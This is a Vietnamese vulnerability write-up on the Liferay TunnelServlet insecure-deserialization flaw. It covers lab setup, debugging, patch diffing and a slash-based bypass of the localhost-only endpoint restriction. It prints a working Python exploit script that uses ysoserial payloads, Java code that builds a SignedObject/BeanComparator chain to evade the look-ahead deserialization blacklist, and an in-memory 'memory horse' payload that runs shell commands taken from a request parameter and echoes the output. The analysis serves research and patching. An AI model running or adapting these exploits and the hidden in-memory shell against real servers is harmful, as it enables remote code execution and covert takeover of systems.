Liferay Portal là giải pháp cổng điện tử được thiết kế phù hợp với các mô hình ứng dụng trong các cơ quan, tổ chức và doanh nghiệp có nhu cầu phát triển hệ thống thông tin trên môi trường web nhằm thực hiện các giao dịch trực tuyến và sử dụng Intranet/Internet như một công cụ thiết yếu trong các hoạt động, cung cấp thông tin, giao tiếp, quản lý và điều hành, trao đổi và cộng tác.
Tổng quan
Liferay TunnelServlet bị lỗ hổng insecure deserialization nếu không cấu hình đúng việc truy cập đối với một vài endpoint, kẻ tấn công có thể lợi dụng điều này để thực thi mã từ xa và chiếm toàn quyền điều khiển hệ thống.
Dựng môi trường
- Cài đặt Liferay phiên bản lỗi
Dựa theo thông tin trong các link sau: https://www.acunetix.com/vulnerabilities/web/liferay-tunnelservlet-deserialization-remote-code-execution, https://www.tenable.com/security/research/tra-2017-01
Mình chọn version để phân tích là 6.1.0 CE (mặc dù ở trên chỉ đề cập đến bản EE nhưng sau khi đi hỏi thăm và setup làm thì mình thấy ở CE vẫn dính lỗi).
Tải source tại: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/6.1.0%20GA1/liferay-portal-tomcat-6.1.0-ce-ga1-20120106155615760.zip/download
Sau khi giải nén, chạy file startup.bat
tại liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\bin
tiếp tục nhập các thông tin cho việc cấu hình
Kết quả:
- Setup debug
Mở file setenv.bat
tại liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\bin
và thêm dòng sau vào cuối file để remote debug
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Về IDE sử dụng cho việc debug thì mình sử dụng Intellij của nhà JetBrains, truy cập vào folder liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\webapps\ROOT
, click chuột phải chọn "Open Folder as Intellj IDEA Project"
Add New Configuration -> Remote JVM Debug
Và thiết lập các thông số như hình bên dưới
Tiếp theo sẽ tiến hành gom các thư viện của ứng dụng vào một folder "liferay_libs" bằng cách cd đến folder gốc sau đó chạy command
find . -iname '*.jar' -exec cp {} liferay_libs \;
Sau đó add folder này vào IDEA project để debug, chọn File -> Project Structure -> Libraries -> + -> Java
và chọn folder liferay_libs
Kết quả
Phân tích
Từ mô tả của lỗi, ta biết được nguyên nhân gây ra lỗ hổng nằm ở thành phần TunnelServlet của liferay
Ctrl + N
và nhập TunnelServlet
, ta thấy class này nằm trong file portal-impl.jar
Tải một version khác không bị dính lỗi, mình chọn 7.0.3 GA4
Thực hiện diff hai version này
Sau đó tìm đến class TunnelServlet
, ta thấy ở phía bên phải (ứng với version dính lỗi), trong hàm doPost
dùng để handle POST request, tại line 44 thực hiện khởi tạo một ObjectInputStream
instance từ request và ois.readObject()
ở line 56 sẽ thực hiện deserialize -> sink.
Có thể tìm endpoint ứng với servlet này trong web.xml
tại
liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\webapps\ROOT\WEB-INF
Ở class com.liferay.portal.servlet.TunnelServlet
, thực hiện set breakpoint tại line 44 và 56
Sau đó gửi request
Hit breakpoint
F8 để tiếp tục debug, lúc này ta thấy có lỗi xảy ra
Lỗi này là tại vì các byte trong input stream nhận từ POST request (blabla
) không hợp lệ cho việc khởi tạo ois
😅.
Vậy cơ bản là ta đã biết được endpoint dẫn đến lỗi, việc tiếp theo sẽ là cần tìm gadget
Trong cửa sổ bên phía tay trái của Intellj IDEA, ở phía dưới có mục External Libraries, mục này chứa các thư viện của project
Và khi tra các thư viện trong liferay_libs
, ta thấy classpath có chứa common-collections
Vì mình dùng jdk 1.8.0_181 để setup liferay nên sẽ sử dụng chain CommonCollections3, tiến hành chạy script và ... calculator pop up thành công
Nhưng ngoài endpoint /api/liferay
đã đề cập ở trên, vẫn còn một endpoint khác mà ta có thể lợi dụng để khai thác và dựa theo bài viết này đó là /api/spring
Vẫn tiến hành tìm Servlet class ứng với endpoint này trong web.xml
=> com.liferay.portal.spring.servlet.RemotingServlet
Cùng nhìn qua class này, ta thấy nó implement org.springframework.web.servlet.DispatcherServlet
Trong các ứng dụng web dựa trên spring, DispatcherServlet
đóng vai trò như một "Front Controller". Vậy "Front Controller" là gì ? Có thể hiểu nôm na là tất cả request đến website sẽ được "Front Controller" đón nhận và nhiệm vụ của nó là ủy thác cho controller tương ứng với request đấy để xử lí.
Để request được đưa đến controller tương ứng một cách chính xác sẽ cần đến sự hỗ trợ của handler mapping. Một kiểu handler mapping trong spring đó là BeanNameUrlHandlerMapping
. BeanNameUrlHandlerMapping
sẽ map request với bean có cùng tên.
Chẳng hạn một bean controller được cấu hình để xử lí request đến /beanNameUrl
như sau:
@Configuration
public class BeanNameUrlHandlerMappingConfig {
@Bean
BeanNameUrlHandlerMapping beanNameUrlHandlerMapping() {
return new BeanNameUrlHandlerMapping();
}
@Bean("/beanNameUrl")
public WelcomeController welcome() {
return new WelcomeController();
}
}
Sẽ có dạng biểu diễn xml tương ứng là
<bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" />
<bean name="/beanNameUrl" class="com.baeldung.WelcomeController" />
Quay trở lại bài phân tích, trong com.liferay.portal.spring.servlet.RemotingServlet
có một hàm getContextConfigLocation()
Và khi check qua remoting-servlet.xml
, mình thấy nó chính xác là dạng biểu diễn xml tương tự như ví dụ đã nêu ở trên nhưng sử dụng HttpRequestHandler
thay vì sử dụng BeanNameUrlHandlerMapping
Chỉ có 4 class là implement từ org.springframework.web.HttpRequestHandler
Và đáng chú ý nhất sẽ là org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter
, hàm handleRequest()
của class này gọi đến readRemoteInvocation()
Tiếp tục trace, nó gọi tới một hàm cùng tên và sau đó gọi doReadRemoteInvocation()
Vì org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter
kế thừa org.springframework.remoting.rmi.RemoteInvocationSerializingExporter
nên thực chất là đang gọi method kia ở parent class
-> Tới đây chính là sink cần tìm
Search trong remoting-servlet.xml
thì ta thấy số lượng endpoint sử dụng handler này khá nhiều
Chọn ra một endpoint để khai thác
Kết quả
Bypass endpoint access restriction
Setup
Trong quá trình mình phân tích ở trên đều không xét tới việc các endpoint này chỉ được cho phép truy cập từ localhost.
Dựa theo mô tả, ta sẽ setup lại một tí cho giống với thực tế
Tại folder liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\webapps\sevencogs-theme\WEB-INF\classes
tạo file portal-ext.properties
với nội dung là
tunnel.servlet.hosts.allowed=127.0.0.1
Sau đó shutdown liferay và startup lại, kiểm tra bằng 2 request như bên dưới
-> Vậy là đã cấu hình thành công
Bypass
Trong web container của servlet có một thuật ngữ về FilterChain, dùng để chỉ một chain các filters ứng với một resource. Nhiệm vụ của filter là thực hiện pre-processing và post-processing request.
Method doFilter()
của các filter class sẽ được gọi bởi web container để thực hiện quá trình process.
Quay trở lại lúc debug TunnelServlet class trước đó, ta thấy trong call stack sẽ có gọi đến các filter class
Tiến hành set breakpoint tại org.apache.catalina.core.ApplicationFilterChain#internalDoFilter()
filterConfig
được lấy từ mảng filters
, và sau đó:
filter = filterConfig.getFilter()
-> dựa vào filterConfig để lấy ra filter
FilterConfig sẽ được dùng để lưu trữ thông tin về context của filter. Và thuộc tính filters
bản chất là một mảng các ApplicationFilterConfig
object
Cùng trace ngược lại để tìm nơi mà thuộc tính này được gán giá trị
Tại org.apache.catalina.core.StandardWrapperValve#invoke()
thực hiện set các attribute cho request và filterChain
- một instance của class ApplicationFilterChain
được khởi tạo bởi method ApplicationFilterFactory.createFilterChain()
.
sau đó filterChain.doFilter()
sẽ gọi đến ApplicationFilterChain.doFilter()
-> ApplicationFilterChain.internalDoFilter()
là chỗ mà ta đang dừng lại ở trên
Vậy hãy cùng nhìn qua method org.apache.catalina.core.StandardWrapperValve#invoke()
Set servlet ứng với filterChain này là TunnelServlet
, sau đó wrapper.getParent()
để get StandardContext object và lấy ra FilterMaps object từ StandardContext object này, FilterMaps object dùng cho việc lưu trữ các thông tin về tên cũng như urlPattern của Filter.
Tiếp đó, duyệt qua filterMaps, dựa vào name của Filter để lấy ra FilterConfig trong StandardContext. Cuối cùng, add filterConfig này vào filterChain filterChain.addFilter(filterConfig)
org.apache.catalina.core.ApplicationFilterChain#addFilter()
chính là nơi ta đang cần tìm, tại đây object filterConfig
sẽ được thêm vào mảng filters
.
Quay trở lại với org.apache.catalina.core.ApplicationFilterChain#internalDoFilter()
, tại line 89, filter object được lấy ra là InvokerFilter
.
Thực ra filter class này đã được nói rõ trong file web.xml
, request ứng với url patern là /*
và dispatcher là REQUEST đều sẽ được process bởi nó.
F8 để tiếp tục debug, lúc này gọi đến com.liferay.portal.kernel.servlet.filters.invoker#InvokerFilter()
Tại method này, call đến com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilter#getInvokerFilter()
với các tham số truyền vào là request
hiện tại, uri
(/api/liferay) và filterchain
F7 để Step Into getInvokerFilterChain()
, ta thấy uri
được sử dụng để tính key
và key
này lại được dùng để lấy ra invokerFilterChain
object.
Bản chất của thuộc tính _filterChains
trong InvokerFilter là một instance của class com.liferay.portal.kernel.concurrent.ConcurrentLRUCache
và method get()
của nó thực ra là đang lấy một phần tử từ Hashmap _cache
Vì uri
có giá trị /api/liferay
đã được "reach" nhiều lần, nên invokerFilterChain của nó đã nằm sẵn trong HashMap trên. Nếu invokerFilterChain
này bằng null hay nói cách khác là chưa tồn tại trong _cache
thì sẽ chạy đoạn code dòng 127 để khởi tạo object và đưa vào _cache
.
Set breakpoint tại dòng 127 và gửi lại với request như sau
Sau khi hit breakpoint, F7 để đi vào trong method com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterHelper#createInvokerFilterChain()
, duyệt qua các phần tử trong _filterMappings
(lưu urlParttens và filter tương ứng) tiếp đó gọi đến FilterMapping.isMatch()
với uri
(/api/////liferay
) làm tham số
Method này thực hiện lấy ra các urlPattern của FilterMaping object hiện tại và so khớp với uri
như trong trên là đang match với nhau vì thế sẽ được add vào invokerFilterChain
.
Bởi vì ta đã setup endpoint restriction access cho TunnelServlet nên mình đoán sẽ có một FilterMaping chứa urlPattern là /api/liferay, set một conditional breakpoint tại line 166 với nội dung là filterMapping._urlPatterns.get(0).contains("/api/liferay")
F9 và breakpoint được hit, urlPattern sẽ là /api/liferay/*
và filter tương ứng là SecureFilter
và bởi vì giá trị trả về của isMatchURLPattern
là false nên filter này sẽ không được add vào invokerFilterChain
SecureFilter lấy ip addr từ request object và check nếu được allow access
Call stack ứng với uri
là /api/////////liferay
Call stack ứng với uri
là /api/liferay
Và cũng tương tự đối với endpoint /api/spring
Tóm lại: có thể bypass được endpoint restriction nếu uri
là /api/<n*'/'>/liferay
hoặc /api/<n*'/'>/spring
Mã khai thác
import requests
import os
URL = "http://127.0.0.1:8080"
os.system("java -jar D:\Tools\ysoserial\ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections3 calc.exe > payload.bin")
r = requests.post(URL + "/api/liferay", data = open("payload.bin", "rb"))
r = requests.post( URL + "/api/spring/com_liferay_portlet_polls_service_spring_PollsVoteService-http", data = open("payload.bin", "rb"))
Patch
Diff version hiện tại với bản 7.0.3 GA4, dễ thấy ở InvokerFilter.class
method getURI
đã có thêm đoạn code gọi đến HttpUtil.normalizePath()
Vì thế không thể bypass bằng cách sử dụng /api/////liferay
được nữa
Bên cạnh đó ở com.liferay.portal.servlet.TunnelServlet#doPost()
cũng đã có sự thay đổi
Phải "signed in" mới có thể reach được endpoint này hay nói cách khác là cần authenticated request.
Sử dụng
ProtectedClassLoaderObjectInputStream
để khởi tạo thay choObjectInputStream
.
Bonus
Ở mục này mình sẽ viết về phần mở rộng cho bài phân tích hiện tại.
I. Look-ahead ObjectInputStream mitigation bypass
Deserialization process
Trong quá trình này, các serialized bytes sẽ được đọc và lặp lại cho đến khi tên của class (đang được deserialized) được khôi phục và đưa vào ObjectInputStream.resolveClass()
, tại đây sẽ gọi đến Class.forName()
để load và return về class tương ứng.
Bước này khá quan trọng vì nó được dùng để kiểm tra xem class đang được deserialized có tồn tại trong classpath hay không. Do vậy, đây cũng sẽ là một nơi hợp lí để triển khai các cơ chế bảo mật, bởi vì có thể tận dụng để kiểm tra class name trước khi quá trình deserialization diễn ra. Cách làm này thường được biết đến với tên gọi là "Look-ahead deserialization"
Bypass gadget
Trong blacklist mode, look-ahead ObjectInputStream đơn giản sẽ có nhiệm vụ ngăn chặn việc deserialize các blacklisted classes. Tuy nhiên, điều này chỉ xảy ra nếu các classes đó được resolve bởi look-ahead ObjectInputStream, và dĩ nhiên nếu một ObjectInputStream khác được dùng sẽ khiến cho cơ chế này trở nên vô dụng. Từ đó ý tưởng để tấn công khá đơn giản: tìm các classes thực hiện "nested deserialization"
Chẳng hạn như trong ví dụ dưới đây (Bypass0
không nằm trong blacklist classes):
public class Bypass0 implements Serializable {
byte[] bytes;
…
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(is);
ois.readObject();
}
}
Quay trở lại với bài phân tích, đối với phiên bản bị lỗi CE 7.0 GA3, một instance của class ProtectedClassLoaderObjectInputStream
được khởi tạo và đây sẽ là một ví dụ cho cơ chế look-ahead deserialization mình đã đề cập ở trên.
Class này kế thừa từ ProtectedObjectInputStream
, method doResolveClass()
sử dụng _classLoader
để load class tương ứng và sẽ được gọi từ method resolveClass()
của ProtectedObjectInputStream
Ở ProtectedObjectInputStream
class có thuộc tính _restrictedClassNames
chứa các blacklist classes, và được dùng để kiểm tra class name đọc từ serialized data. Nếu không nằm trong blacklist -> gọi đến doResolveClass
để load class tương ứng.
Các blasklist classes này được định nghĩa trong portal-impl.jar!system.properties
Áp dụng ý tưởng đã nêu ở trên, ta sẽ tìm các class thực hiện "nested deserialization", mà một trong số đó là java.security.SignedObject
Tới đây sẽ quay về bài toán tìm các gadget trigger getter method, và dựa trên các class nằm trong class path thì có thể sử dụng chain commons-beanutils.
Cụ thể về chain các bạn có thể tham khảo tại đây bên cạnh đó vì nó có liên hệ với chain CC2 nên trước tiên các bạn nên xem qua bài viết này từ một người bạn của mình 😁, mình sẽ không đi vào phân tích lại nữa để tránh bài viết quá dài.
Dễ thấy các class sử dụng đều không nằm trong blasklist, script để gen payload như sau:
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.security.*;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
// Generate payload bytes
Object obj = Gadgets.createTemplatesImpl("calc");
PriorityQueue queue1 = getpayload(obj, "outputProperties");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
PriorityQueue queue2 = getpayload(signedObject, "object");
FileOutputStream fileOutputStream = new FileOutputStream("D:\\Downloads\\LPE-15538\\bypass.bin");
ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
oos.writeObject(queue2);
oos.close();
}
public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("2");
Reflections.setFieldValue(beanComparator, "property", string);
Reflections.setFieldValue(priorityQueue, "queue", new Object[]{object, null});
return priorityQueue;
}
}
Kết quả:
Ngoài ra ta còn có thể lợi dụng finalize()
method trong java, method này sẽ được gọi bởi Garbage collector trước khi thực hiện việc xóa/hủy đi một object. Thường sẽ là đóng các database connection, network connection ... đang mở. Sau quá trình deserialization, nếu việc cast sang kiểu tương ứng thất bại và chương trình throw exception, deserialized object vẫn sẽ được garbage collector "collect" và method finalize()
vẫn được gọi đến.
Class SerializableRenderedImage
trong jai_core.jar
có một chain tương ứng là:
finalize()
-> dispose()
-> closeClient()
vì thuộc tính host
, port
này có thể control được nên chỉ cần setup socket server trả về payload là xong.
II. Tomcat Memory Horse
Cùng đặt 1 tình huống như sau:
"Vẫn là tomcat server deploy một con liferay bị lỗi ở TunnelServlet như ngữ cảnh hiện tại, nhưng không có outgoing connection, document root không có quyền write"
Mặc dù có thể thực thi command nhưng ta vẫn sẽ cần một cách để lấy output, mình không xét đến kĩ thuật trigger time delay 😅 bởi vì nó vẫn là một cái gì đó rất không hay và không tối ưu cho lắm.
Để giải quyết vấn đề trên, ta sử dụng một kĩ thuật có tên gọi là memory horse, hiện nay đã có rất nhiều cơ chế phát hiện và ngăn ngừa các shell ở dạng files, vì vậy sự ra đời của "invisible shell" hay còn gọi là "in-memory shell" đã khiến nó trở nên phổ biến bởi tính có thể che giấu và nhiều điểm cộng khác.
Các concepts về Tomcat Memory Horse rất rộng và sẽ vượt quá phạm vi của bài phân tích này nên có lẽ mình sẽ tách ra để trình bày ở một bài viết khác. "Có lẽ" thôi 🤭.
Trong mục này chủ yếu sẽ nói về Memory Horse Echo, "echo" là 1 kĩ thuật để lấy output của command sau khi thực thi trong trường hợp server không có outgoing connection. Ý tưởng chung là tìm cách để lấy request & response object sau đó ghi output.
Cụ thể là trace trong call stack các class có lưu response object, đồng thời sẽ ưu tiên hơn nếu chứa các static field bởi vì không cần phải khởi tạo instance khi muốn truy xuất đến nó.
Và class này đã được đề cập đến ở phần phía trên, chính là org.apache.catalina.core.ApplicationFilterChain
. lastServicedRequest
và lastServicedResponse
là các instances của ThreadLocal
class, đóng vai trò lưu trữ thông tin về request cũng như response tương ứng trong thread hiện tại.
Quá trình lưu request cũng như response object diễn ra tại method internalDoFilter()
Tuy nhiên trong lúc khởi tạo, hai giá trị đã nói ở trên đôi khi sẽ bị set thành null vì vậy cần chỉnh lại giá trị cho chúng thông qua refection
Các bước sẽ như sau:
Dùng reflection set giá trị cho
ApplicationDispatcher.WRAP_SAME_OBJECT
Khởi tạo giá trị cho
lastServicedRequest
vàlastServicedResponse
Lấy response object từ
lastServicedResponse
và "echo" content.
Script gen payload
Main.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import javax.media.jai.PointOpImage;
import javax.media.jai.remote.SerializableRenderedImage;
import java.awt.image.RenderedImage;
import java.io.*;
import java.security.*;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
// Generate payload bytes
//Object obj = Gadgets.createTemplatesImpl("calc");
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = ClassPool.getDefault().get("Payload").toBytecode();
Reflections.setFieldValue(templatesimpl,"_name","1");
Reflections.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
//Reflections.setFieldValue(templatesimpl, "_tfactory", TransformerFactoryImpl.newInstance()); - not necessary
PriorityQueue queue1 = getpayload(templatesimpl, "outputProperties");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
PriorityQueue queue2 = getpayload(signedObject, "object");
FileOutputStream fileOutputStream = new FileOutputStream("D:\\Downloads\\LPE-15538\\mem_horse_echo.bin");
ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
oos.writeObject(queue2);
oos.close();
}
public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("2");
Reflections.setFieldValue(beanComparator, "property", string);
Reflections.setFieldValue(priorityQueue, "queue", new Object[]{object, null});
return priorityQueue;
}
}
Payload.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class Payload extends AbstractTranslet {
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
// Field responseField = ResponseFacade.class.getDeclaredField("response");
// responseField.setAccessible(true);
// Response response = (Response) responseField.get(responseFacade);
// Field usingWriter = Response.class.getDeclaredField("usingWriter");
// usingWriter.setAccessible(true);
// usingWriter.set((Object) response, Boolean.FALSE);
InputStream in = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Payload sẽ được gửi 2 lần
lần 1 để set giá trị cho
ApplicationDispatcher.WRAP_SAME_OBJECT
,lastServicedRequest
vàlastServicedResponse
lần thứ 2 echo ra output
Kết quả:
Cách làm này có một hạn chế đó là nếu deserialization point diễn ra trước ApplicationFilterChain
thì không thể lợi dụng để lấy response object thông qua ThreadLocal
.